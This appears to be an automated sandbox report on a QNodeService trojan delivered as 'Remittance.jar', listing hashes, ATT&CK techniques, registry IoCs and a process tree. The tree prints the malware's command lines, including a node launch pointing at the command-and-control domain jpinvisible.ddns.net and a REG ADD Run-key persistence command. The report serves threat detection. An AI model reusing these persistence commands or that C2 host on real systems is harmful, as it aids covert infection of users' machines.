qnodeservice | 8329d6556a50b7aa985b38388579eea3cee777d3046ffc94721866d5ee02f948

General

Target

Remittance.jar
Size

427KB
MD5

d126c329d2e5ae68df5ccad66b9c40ea
SHA1

39d51f17d71aec853c4c04d5b9d2ea72343b680e
SHA256

8329d6556a50b7aa985b38388579eea3cee777d3046ffc94721866d5ee02f948
SHA512

5f1023a28c57b48a7a67f6c3d985ca18c96034ba8de71031ea956573e3f95a5f9af5d3654bdb0b3884fc4e971c2e7af31681ec17047e6cabb44de6c5385e62c6

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
804	node.exe
2052	node.exe
2196	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\7b5696b4-d063-482f-a37e-396077899584 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad3d-169.dat	js
behavioral2/files/0x000100000001ad3d-173.dat	js
behavioral2/files/0x000100000001ad3d-177.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
804	node.exe
804	node.exe
804	node.exe
804	node.exe
2052	node.exe
2052	node.exe
2052	node.exe
2052	node.exe
2196	node.exe
2196	node.exe
2196	node.exe
2196	node.exe
2196	node.exe
2196	node.exe
2196	node.exe
2196	node.exe
2196	node.exe
2196	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3888 wrote to memory of 3728	3888	java.exe	73
PID 3888 wrote to memory of 3728	3888	java.exe	73
PID 3728 wrote to memory of 804	3728	javaw.exe	77
PID 3728 wrote to memory of 804	3728	javaw.exe	77
PID 804 wrote to memory of 2052	804	node.exe	79
PID 804 wrote to memory of 2052	804	node.exe	79
PID 2052 wrote to memory of 2196	2052	node.exe	80
PID 2052 wrote to memory of 2196	2052	node.exe	80
PID 2196 wrote to memory of 2124	2196	node.exe	82
PID 2196 wrote to memory of 2124	2196	node.exe	82
PID 2124 wrote to memory of 2452	2124	cmd.exe	83
PID 2124 wrote to memory of 2452	2124	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Remittance.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3888
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\21037962.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3728
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain jpinvisible.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:804
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_5ED4Xa\boot.js --hub-domain jpinvisible.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2052
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_5ED4Xa\boot.js --hub-domain jpinvisible.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2196
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "7b5696b4-d063-482f-a37e-396077899584" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2124
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "7b5696b4-d063-482f-a37e-396077899584" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2452

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/804-171-0x000001AF1BEC0000-0x000001AF1BEC1000-memory.dmp

Filesize
4KB

Download
memory/2052-174-0x000003C1C7200000-0x000003C1C7201000-memory.dmp

Filesize
4KB

Download
memory/2196-178-0x0000002571000000-0x0000002571001000-memory.dmp

Filesize
4KB

Download

Analysis

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